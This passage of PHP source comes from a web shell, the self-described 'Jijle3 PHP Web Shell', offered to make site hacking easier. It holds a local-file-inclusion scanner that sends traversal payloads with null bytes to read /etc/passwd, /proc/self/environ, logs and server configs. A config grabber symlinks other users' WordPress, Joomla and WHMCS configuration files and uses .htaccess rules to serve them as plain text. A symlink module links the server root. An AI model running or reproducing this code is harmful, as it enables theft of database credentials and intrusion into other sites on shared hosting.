   <form method="post" action="?"><input type="hidden" name="a" value="lfiscan"> 
      LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype"> 
         <option value="1"> 
            Access Log 
         </option> 

         <option value="2"> 
            httpd.conf 
         </option> 

         <option value="3"> 
            Error Log 
         </option> 
         <option value="4"> 
            php.ini 
         </option> 
         <option value="5"> 
            MySQL 
         </option> 
         <option value="6"> 
            FTP 
         </option> 
         <option value="7"> 
            Environ 
         </option> 
      </select> Null: <select name="null"> 
         <option value="%00"> 
            Yes 
         </option> 

         <option value=""> 
            No 
         </option> 
      </select> User-Agent: <input type="text" size="20" name="custom_header" value=""> 
   </form>';
    error_reporting(0);
    if ($_POST['lfiurl']) {
        print "<pre>";
        $cheader = $_POST['custom_header'];
        $target = $_POST['lfiurl'];
        $type = $_POST['scantype'];
        $byte1 = $_POST['null'];
        $lfitest = "../../../../../../../../../../../../../../etc/passwd" . $byte1 . "";
        $lfitest2 = "../../../../../../../../../../../../../../fake/file" . $byte1 . "";
        $lfiprocenv = "../../../../../../../../../../../../../../proc/environ" . $byte1 . "";
        $lfiaccess = array(1 => "../../../../../../../../../../../../../../apache/logs/access.log" . $byte1 . "", 2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log" . $byte1 . "", 3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log" . $byte1 . "", 4 => "../../../../../../../../../../../../../../var/www/logs/access_log" . $byte1 . "", 5 => "../../../../../../../../../../../../../../var/www/logs/access.log" . $byte1 . "", 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log" . $byte1 . "", 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log" . $byte1 . "", 8 => "../../../../../../../../../../../../../../var/log/apache/access_log" . $byte1 . "", 9 => "../../../../../../../../../../../../../../var/log/apache2/access_log" . $byte1 . "", 10 => "../../../../../../../../../../../../../../var/log/apache/access.log" . $byte1 . "", 11 => "../../../../../../../../../../../../../../var/log/apache2/access.log" . $byte1 . "", 12 => "../../../../../../../../../../../../../../var/log/access_log" . $byte1 . "", 13 => "../../../../../../../../../../../../../../var/log/access.log" . $byte1 . "", 14 => "../../../../../../../../../../../../../../var/log/httpd/access_log" . $byte1 . "", 15 => "../../../../../../../../../../../../../../apache2/logs/access.log" . $byte1 . "", 16 => "../../../../../../../../../../../../../../logs/access.log" . $byte1 . "", 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log" . $byte1 . "", 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log" . $byte1 . "", 19 => "../../../../../../../../../../../../../../var/log/httpd/access.log" . $byte1 . "", 20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log" . $byte1 . "", 21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log" . $byte1 . "", 22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log" . $byte1 . "", 23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log" . $byte1 . "");
        $lfierror = array(1 => "../../../../../../../../../../../../../../apache/logs/error.log" . $byte1 . "", 2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log" . $byte1 . "", 3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log" . $byte1 . "", 4 => "../../../../../../../../../../../../../../var/www/logs/error_log" . $byte1 . "", 5 => "../../../../../../../../../../../../../../var/www/logs/error.log" . $byte1 . "", 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log" . $byte1 . "", 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log" . $byte1 . "", 8 => "../../../../../../../../../../../../../../var/log/apache/error_log" . $byte1 . "", 9 => "../../../../../../../../../../../../../../var/log/apache2/error_log" . $byte1 . "", 10 => "../../../../../../../../../../../../../../var/log/apache/error.log" . $byte1 . "", 11 => "../../../../../../../../../../../../../../var/log/apache2/error.log" . $byte1 . "", 12 => "../../../../../../../../../../../../../../var/log/error_log" . $byte1 . "", 13 => "../../../../../../../../../../../../../../var/log/error.log" . $byte1 . "", 14 => "../../../../../../../../../../../../../../var/log/httpd/error_log" . $byte1 . "", 15 => "../../../../../../../../../../../../../../apache2/logs/error.log" . $byte1 . "", 16 => "../../../../../../../../../../../../../../logs/error.log" . $byte1 . "", 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log" . $byte1 . "", 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log" . $byte1 . "", 19 => "../../../../../../../../../../../../../../var/log/httpd/error.log" . $byte1 . "", 20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log" . $byte1 . "", 21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log" . $byte1 . "", 22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log" . $byte1 . "", 23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log" . $byte1 . "");
        $lficonfig = array(1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf" . $byte1 . "", 2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf" . $byte1 . "", 3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf" . $byte1 . "", 4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf" . $byte1 . "", 5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf" . $byte1 . "", 6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf" . $byte1 . "", 7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf" . $byte1 . "", 8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf" . $byte1 . "", 9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf" . $byte1 . "", 10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf" . $byte1 . "", 11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf" . $byte1 . "", 12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf" . $byte1 . "", 13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf" . $byte1 . "", 14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf" . $byte1 . "", 15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf" . $byte1 . "", 16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf" . $byte1 . "", 17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf" . $byte1 . "", 18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf" . $byte1 . "", 19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf" . $byte1 . "", 20 => "../../../../../../../../../../../../../../../etc/httpd.conf" . $byte1 . "", 21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf" . $byte1 . "", 22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf" . $byte1 . "", 23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf" . $byte1 . "", 24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf" . $byte1 . "", 25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default" . $byte1 . "", 26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf" . $byte1 . "", 27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf" . $byte1 . "", 28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default" . $byte1 . "", 29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php" . $byte1 . "", 30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php" . $byte1 . "", 31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php" . $byte1 . "", 32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf" . $byte1 . "", 33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf" . $byte1 . "", 34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf" . $byte1 . "", 35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf" . $byte1 . "");
        $lfiphpini = array(1 => "../../../../../../../../../../../../../../../etc/php.ini" . $byte1 . "", 2 => "../../../../../../../../../../../../../../../bin/php.ini" . $byte1 . "", 3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini" . $byte1 . "", 4 => "../../../../../../../../../../../../../../../usr/lib/php.ini" . $byte1 . "", 5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini" . $byte1 . "", 6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini" . $byte1 . "", 7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini" . $byte1 . "", 8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini" . $byte1 . "", 9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini" . $byte1 . "", 10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini" . $byte1 . "", 11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini" . $byte1 . "", 12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini" . $byte1 . "", 13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini" . $byte1 . "", 14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini" . $byte1 . "", 15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini" . $byte1 . "", 16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini" . $byte1 . "", 17 => "../../../../../../../../../../../../../../../etc/php/php.ini" . $byte1 . "", 18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini" . $byte1 . "", 19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini" . $byte1 . "", 20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini" . $byte1 . "", 21 => "../../../../../../../../../../../../../../../web/conf/php.ini" . $byte1 . "", 22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini" . $byte1 . "", 23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini" . $byte1 . "", 24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini" . $byte1 . "", 25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini" . $byte1 . "", 26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini" . $byte1 . "", 27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini" . $byte1 . "");
        $lfimysql = array(1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log" . $byte1 . "", 2 => "../../../../../../../../../../../../../../../var/log/mysql.log" . $byte1 . "", 3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log" . $byte1 . "", 4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log" . $byte1 . "", 5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log" . $byte1 . "", 6 => "../../../../../../../../../../../../../../../var/mysql.log" . $byte1 . "", 7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf" . $byte1 . "", 8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf" . $byte1 . "", 9 => "../../../../../../../../../../../../../../../var/log/mysqld.log" . $byte1 . "", 10 => "../../../../../../../../../../../../../../../etc/my.cnf" . $byte1 . "");
        $lfiftp = array(1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd" . $byte1 . "", 2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log" . $byte1 . "", 3 => "../../../../../../../../../../../../../../../var/log/proftpd" . $byte1 . "", 4 => "../../../../../../../../../../../../../../../etc/proftp.conf" . $byte1 . "", 5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf" . $byte1 . "", 6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf" . $byte1 . "", 7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf" . $byte1 . "", 8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log" . $byte1 . "", 9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list" . $byte1 . "", 10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log" . $byte1 . "", 11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf" . $byte1 . "", 12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf" . $byte1 . "", 13 => "../../../../../../../../../../../../../../../etc/chrootUsers" . $byte1 . "", 14 => "../../../../../../../../../../../../../../../var/log/xferlog" . $byte1 . "", 15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog" . $byte1 . "", 16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess" . $byte1 . "", 17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts" . $byte1 . "", 18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers" . $byte1 . "", 19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl" . $byte1 . "", 20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf" . $byte1 . "", 21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf" . $byte1 . "", 22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf" . $byte1 . "", 23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb" . $byte1 . "", 24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb" . $byte1 . "", 25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl" . $byte1 . "", 26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf" . $byte1 . "", 27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf" . $byte1 . "", 28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb" . $byte1 . "", 29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb" . $byte1 . "", 30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd" . $byte1 . "", 31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb" . $byte1 . "", 32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/" . $byte1 . "", 33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/" . $byte1 . "", 34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/" . $byte1 . "", 35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/" . $byte1 . "", 36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log" . $byte1 . "", 37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log" . $byte1 . "", 38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log" . $byte1 . "", 39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log" . $byte1 . "", 40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy" . $byte1 . "", 41 => "../../../../../../../../../../../../../../../var/log/ftplog" . $byte1 . "", 42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp" . $byte1 . "", 43 => "../../../../../../../../../../../../../../../etc/ftpchroot" . $byte1 . "", 44 => "../../../../../../../../../../../../../../../etc/ftphosts" . $byte1 . "");
        $x = 1;
        if ($type == 1) {
            $res1 = FetchURL($target . $lfitest);
            $res2 = FetchURL($target . $lfitest2);
            $rhash1 = md5($res1);
            $rhash2 = md5($res2);
            if ($rhash1 != $rhash2) {
                print "<font color='green'>[+] Exploitable!</font> <a href=\"" . $target . "" . $lfitest . "\">" . $target . "" . $lfitest . "</a><br  />";
                while ($lfiaccess[$x]) {
                    $res3 = FetchURL($target . $lfiaccess[$x]);
                    $rhash3 = md5($res3);
                    if ($rhash3 != $rhash2) {
                        print "<font color='green'>[+] File detected!</font> <a href=\"" . $target . "" . $lfiaccess[$x] . "\">" . $target . "" . $lfiaccess[$x] . "</a><br  />";
                    } else {
                        print "<font color='red'>[!] Failed!</font>" . $target . "" . $lfiaccess[$x] . "<br  />";
                    }
                    $x++;
                }
            }
        }
        if ($type == 2) {
            $res1 = FetchURL($target . $lfitest);
            $res2 = FetchURL($target . $lfitest2);
            $rhash1 = md5($res1);
            $rhash2 = md5($res2);
            if ($rhash1 != $rhash2) {
                print "<font color='green'>[+] Exploitable!</font> <a href=\"" . $target . "" . $lfitest . "\">" . $target . "" . $lfitest . "</a><br  />";
                while ($lficonfig[$x]) {
                    $res3 = FetchURL($target . $lficonfig[$x]);
                    $rhash3 = md5($res3);
                    if ($rhash3 != $rhash2) {
                        print "<font color='green'>[+] File detected!</font> <a href=\"" . $target . "" . $lficonfig[$x] . "\">" . $target . "" . $lficonfig[$x] . "</a><br  />";
                    } else {
                        print "<font color='red'>[!] Failed!</font>" . $target . "" . $lficonfig[$x] . "<br  />";
                    }
                    $x++;
                }
            }
        }
        if ($type == 3) {
            $res1 = FetchURL($target . $lfitest);
            $res2 = FetchURL($target . $lfitest2);
            $rhash1 = md5($res1);
            $rhash2 = md5($res2);
            if ($rhash1 != $rhash2) {
                print "<font color='green'>[+] Exploitable!</font> <a href=\"" . $target . "" . $lfitest . "\">" . $target . "" . $lfitest . "</a><br  />";
                while ($lfierror[$x]) {
                    $res3 = FetchURL($target . $lfierror[$x]);
                    $rhash3 = md5($res3);
                    if ($rhash3 != $rhash2) {
                        print "<font color='green'>[+] File detected!</font> <a href=\"" . $target . "" . $lfierror[$x] . "\">" . $target . "" . $lfierror[$x] . "</a><br  />";
                    } else {
                        print "<font color='red'>[!] Failed!</font>" . $target . "" . $lfierror[$x] . "<br  />";
                    }
                    $x++;
                }
            }
        }
        if ($type == 4) {
            $res1 = FetchURL($target . $lfitest);
            $res2 = FetchURL($target . $lfitest2);
            $rhash1 = md5($res1);
            $rhash2 = md5($res2);
            if ($rhash1 != $rhash2) {
                print "<font color='green'>[+] Exploitable!</font> <a href=\"" . $target . "" . $lfitest . "\">" . $target . "" . $lfitest . "</a><br  />";
                while ($lfiphpini[$x]) {
                    $res3 = FetchURL($target . $lfiphpini[$x]);
                    $rhash3 = md5($res3);
                    if ($rhash3 != $rhash2) {
                        print "<font color='green'>[+] File detected!</font> <a href=\"" . $target . "" . $lfiphpini[$x] . "\">" . $target . "" . $lfiphpini[$x] . "</a><br  />";
                    } else {
                        print "<font color='red'>[!] Failed!</font>" . $target . "" . $lfiphpini[$x] . "<br  />";
                    }
                    $x++;
                }
            }
        }
        if ($type == 5) {
            $res1 = FetchURL($target . $lfitest);
            $res2 = FetchURL($target . $lfitest2);
            $rhash1 = md5($res1);
            $rhash2 = md5($res2);
            if ($rhash1 != $rhash2) {
                print "<font color='green'>[+] Exploitable!</font> <a href=\"" . $target . "" . $lfitest . "\">" . $target . "" . $lfitest . "</a><br  />";
                while ($lfimysql[$x]) {
                    $res3 = FetchURL($target . $lfimysql[$x]);
                    $rhash3 = md5($res3);
                    if ($rhash3 != $rhash2) {
                        print "<font color='green'>[+] File detected!</font> <a href=\"" . $target . "" . $lfimysql[$x] . "\">" . $target . "" . $lfimysql[$x] . "</a><br  />";
                    } else {
                        print "<font color='red'>[!] Failed!</font>" . $target . "" . $lfimysql[$x] . "<br  />";
                    }
                    $x++;
                }
            }
        }
        if ($type == 6) {
            $res1 = FetchURL($target . $lfitest);
            $res2 = FetchURL($target . $lfitest2);
            $rhash1 = md5($res1);
            $rhash2 = md5($res2);
            if ($rhash1 != $rhash2) {
                print "<font color='green'>[+] Exploitable!</font> <a href=\"" . $target . "" . $lfitest . "\">" . $target . "" . $lfitest . "</a><br  />";
                while ($lfiftp[$x]) {
                    $res3 = FetchURL($target . $lfiftp[$x]);
                    $rhash3 = md5($res3);
                    if ($rhash3 != $rhash2) {
                        print "<font color='green'>[+] File detected!</font> <a href=\"" . $target . "" . $lfiftp[$x] . "\">" . $target . "" . $lfiftp[$x] . "</a><br  />";
                    } else {
                        print "<font color='red'>[!] Failed!</font>" . $target . "" . $lfiftp[$x] . "<br  />";
                    }
                    $x++;
                }
            }
        }
        if ($type == 7) {
            $res1 = FetchURL($target . $lfitest);
            $res2 = FetchURL($target . $lfitest2);
            $rhash1 = md5($res1);
            $rhash2 = md5($res2);
            if ($rhash1 != $rhash2) {
                print "<font color='green'>[+] Exploitable!</font> <a href=\"" . $target . "" . $lfitest . "\">" . $target . "" . $lfitest . "</a><br  />";
                $res3 = FetchURL($target . $lfiprocenv);
                $rhash3 = md5($res3);
                if ($rhash3 != $rhash2) {
                    print "<font color='green'>[+] File detected!</font> <a href=\"" . $target . "" . $lfiprocenv . "\">" . $target . "" . $lfiprocenv . "</a><br  />";
                } else {
                    print "<font color='red'>[!] Failed!</font>" . $target . "" . $lfiprocenv . "<br  />";
                }
            }
        }
    }
    wsoFooter();
}
######################  Config Grabber ######################
function actionconfig()
{
    wsoHeader();
    echo "<center> \r\n<h1>Config Grabber</h1> \r\n";
    ?>
</center><br><center><?php 
    if (empty($_POST['config'])) {
        ?>
<p><font face="Tahoma" color="white" size="2pt">Put /etc/passwd</p><br><form method="POST"><textarea name="passwd" class='area' rows='15' cols='60'><?php 
        echo file_get_contents('/etc/passwd');
        ?>
 
</textarea><br><br><input name="config" class='inputzbut' size="100" value="Get The Configs !" type="submit"><br><input type="hidden" name="a" value="config"></form></center><br> 
<?php 
    }
    if ($_POST['config']) {
        $function = $functions = @ini_get("disable_functions");
        if (eregi("symlink", $functions)) {
            die('<error>Symlink is disabled :( </error>');
        }
        @mkdir('phdz-config', 0755);
        @chdir('phdz-config');
        $htaccess = " \r\nOPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI \r\nOptions Indexes FollowSymLinks \r\nForceType text/plain \r\nAddType text/plain .php  \r\nAddType text/plain .html \r\nAddType text/html .shtml \r\nAddType txt .php \r\nAddHandler server-parsed .php \r\nAddHandler txt .php \r\nAddHandler txt .html \r\nAddHandler txt .shtml \r\nOptions All \r\nOptions All";
        file_put_contents(".htaccess", $htaccess, FILE_APPEND);
        $passwd = $_POST["passwd"];
        $passwd = explode("\n", $passwd);
        echo "<br><br><center><font>Bism Allah</center><br>";
        foreach ($passwd as $pwd) {
            $pawd = explode(":", $pwd);
            $user = $pawd[0];
            @symlink('/home/' . $user . '/public_html/wp-config.php', $user . '-wp13.txt');
            @symlink('/home/' . $user . '/public_html/wp/wp-config.php', $user . '-wp13-wp.txt');
            @symlink('/home/' . $user . '/public_html/WP/wp-config.php', $user . '-wp13-WP.txt');
            @symlink('/home/' . $user . '/public_html/wp/beta/wp-config.php', $user . '-wp13-wp-beta.txt');
            @symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp13-beta.txt');
            @symlink('/home/' . $user . '/public_html/press/wp-config.php', $user . '-wp13-press.txt');
            @symlink('/home/' . $user . '/public_html/wordpress/wp-config.php', $user . '-wp13-wordpress.txt');
            @symlink('/home/' . $user . '/public_html/Wordpress/wp-config.php', $user . '-wp13-Wordpress.txt');
            @symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp13-Wordpress.txt');
            @symlink('/home/' . $user . '/public_html/config.php', $user . '-configgg.txt');
            @symlink('/home/' . $user . '/public_html/news/wp-config.php', $user . '-wp13-news.txt');
            @symlink('/home/' . $user . '/public_html/new/wp-config.php', $user . '-wp13-new.txt');
            @symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp-blog.txt');
            @symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp-beta.txt');
            @symlink('/home/' . $user . '/public_html/blogs/wp-config.php', $user . '-wp-blogs.txt');
            @symlink('/home/' . $user . '/public_html/home/wp-config.php', $user . '-wp-home.txt');
            @symlink('/home/' . $user . '/public_html/db.php', $user . '-dbconf.txt');
            @symlink('/home/' . $user . '/public_html/site/wp-config.php', $user . '-wp-site.txt');
            @symlink('/home/' . $user . '/public_html/main/wp-config.php', $user . '-wp-main.txt');
            @symlink('/home/' . $user . '/public_html/configuration.php', $user . '-wp-test.txt');
            @symlink('/home/' . $user . '/public_html/joomla/configuration.php', $user . '-joomla2.txt');
            @symlink('/home/' . $user . '/public_html/portal/configuration.php', $user . '-joomla-protal.txt');
            @symlink('/home/' . $user . '/public_html/joo/configuration.php', $user . '-joo.txt');
            @symlink('/home/' . $user . '/public_html/cms/configuration.php', $user . '-joomla-cms.txt');
            @symlink('/home/' . $user . '/public_html/site/configuration.php', $user . '-joomla-site.txt');
            @symlink('/home/' . $user . '/public_html/main/configuration.php', $user . '-joomla-main.txt');
            @symlink('/home/' . $user . '/public_html/news/configuration.php', $user . '-joomla-news.txt');
            @symlink('/home/' . $user . '/public_html/new/configuration.php', $user . '-joomla-new.txt');
            @symlink('/home/' . $user . '/public_html/home/configuration.php', $user . '-joomla-home.txt');
            @symlink('/home/' . $user . '/public_html/vb/includes/config.php', $user . '-vb-config.txt');
            @symlink('/home/' . $user . '/public_html/whm/configuration.php', $user . '-whm15.txt');
            @symlink('/home/' . $user . '/public_html/central/configuration.php', $user . '-whm-central.txt');
            @symlink('/home/' . $user . '/public_html/whm/whmcs/configuration.php', $user . '-whm-whmcs.txt');
            @symlink('/home/' . $user . '/public_html/whm/WHMCS/configuration.php', $user . '-whm-WHMCS.txt');
            @symlink('/home/' . $user . '/public_html/whmc/WHM/configuration.php', $user . '-whmc-WHM.txt');
            @symlink('/home/' . $user . '/public_html/whmcs/configuration.php', $user . '-whmcs.txt');
            @symlink('/home/' . $user . '/public_html/support/configuration.php', $user . '-support.txt');
            @symlink('/home/' . $user . '/public_html/configuration.php', $user . '-joomla.txt');
            @symlink('/home/' . $user . '/public_html/submitticket.php', $user . '-whmcs2.txt');
            @symlink('/home/' . $user . '/public_html/whm/configuration.php', $user . '-whm.txt');
        }
        echo '<b class="cone"><font><b>Configs Link : </b> <a target="_blank" href="phdz-config">[ Configs ]</a></font></b>';
    }
    wsoFooter();
}
###################### About                 ############################
function actionabout()
{
    wsoHeader();
    echo ' 
<center> 
<h1>[ About ]</h1> 
<br /><br /> 
</form> 
';
    ?>
<head> 
<span class="style1"><font size="3" color="#FFFFFF" face="Adobe Heiti Std R"></font>                    <div style='font-family: Courier New; font-size: 10px;'><font color='white' class=txt ><pre> 
     _   _     _   _          _____    ____    _   _   ____   
    | | (_)   (_) | |   ___  |___ /   |  _ \  | | | | |  _ \  
 _  | | | |   | | | |  / _ \   |_ \   | |_) | | |_| | | |_) | 
| |_| | | |   | | | | |  __/  ___) |  |  __/  |  _  | |  __/  
 \___/  |_|  _/ | |_|  \___| |____/   |_|     |_| |_| |_|     
            |__/                                              
 ____    _              _   _  
/ ___|  | |__     ___  | | | | 
\___ \  | '_ \   / _ \ | | | | 
 ___) | | | | | |  __/ | | | | 
|____/  |_| |_|  \___| |_| |_| 
<span class="style1"><font size="9" color="#FFFFFF" face="Adobe Heiti Std R"></font><p> 
<pre> 
<iframe src="//www.facebook.com/plugins/likebox.php?href=https%3A%2F%2Fwww.facebook.com%2FJ1jeI&amp;width&amp;height=62&amp;colorscheme=light&amp;show_faces=false&amp;header=true&amp;stream=false&amp;show_border=true" scrolling="no" frameborder="0" style="border:none; overflow:hidden; height:62px;" allowTransparency="true"></iframe><pre> 
<p><font size="7" color="red" face="Adobe Heiti Std R"></font></span></p> 
Jijle3 PHP Web Shell Created To Make Web Site Hacking More Easy ..<br><br> And To Gev You Some Normal Tools ! With WSO Theme<br><br> iF You Want Me To Add A Notther Tools in Secend Virsion Mail Me in My E-mail Bellow Or in My Facebook Page  !<br><br></font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="red" face="Adobe Heiti Std R"></font></span></p> 
<div style='font-family: Courier New; font-size: 10px;'><font size='2' class=txt ><pre> 
Coded By Phenomene Dz <br>Algeria - Jijel<br>Finished in 2015/02/03<br>My Email - dzph@bk.ru -<br>Youtube Channel <a href="http://www.youtube.com/DZPH/" target="_blank">YouTube</a><br><br>All Right Reserved (C)  Phenomene Dz - Martyrs Crew 2015 
<font size="13" face="Adobe Heiti Std R" color="red"></font><font size="7" color="red" face="Adobe Heiti Std R"></font></span></p> 
[ Thanks To ] <br><br>Abod Hack - Red Ck - Ghost1145 - Prodigy Tn - EL Moj4hid - Ghost dz - L'Apoca Dz - Mr Dz Gang <br><br> Sy3i4n K!lle3 - Red Hell Sofyan  - Algeriano - Hero Dz - Cesc Dz - X Zone - K2ll33d - Almokawim <br><br> Martyrs Team - Algerian To The Core - 1337day Community Algeria - Fallaga Team <br><br> AnonGhost Team - Dz Team - Anonymous Dz - Backup Sec Dz <br><br> Sec4ever.com - Gaza-Hacker.net - Dev-Tun.tn - Fallaga.tn - Aljyyosh.com - dz-root.com - is-sec.com   <br><br> And All My Freinds - All Muslims Hackers - All Algerian Hackers <font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="#FFFFFF" face="Adobe Heiti Std R"></font></span></p> 
<?php 
    wsoFooter();
}
###################### Symlink Server      ############################
function actionsymserver()
{
    wsoHeader();
    echo '<center><h1>Symlink Server</h1><br>';
    @set_time_limit(0);
    echo "<center>";
    @mkdir('phdz-symserver', 0777);
    $htaccess = "Options all \n DirectoryIndex readme.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
    $write = @fopen('phdz-symserver/.htaccess', 'w');
    fwrite($write, $htaccess);
    @symlink('/', 'phdz-symserver/root');
    $filelocation = basename(__FILE__);
    $read_named_conf = @file('/etc/named.conf');
    if (!$read_named_conf) {
        echo "<pre class=ml1 style='margin-top:5px'>[ /etc/named.conf ] ==> Not Writeable !</pre></center>";
    } else {
        echo "<br><br><div class='tmp'><table border='1' bordercolor='#FF0000' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
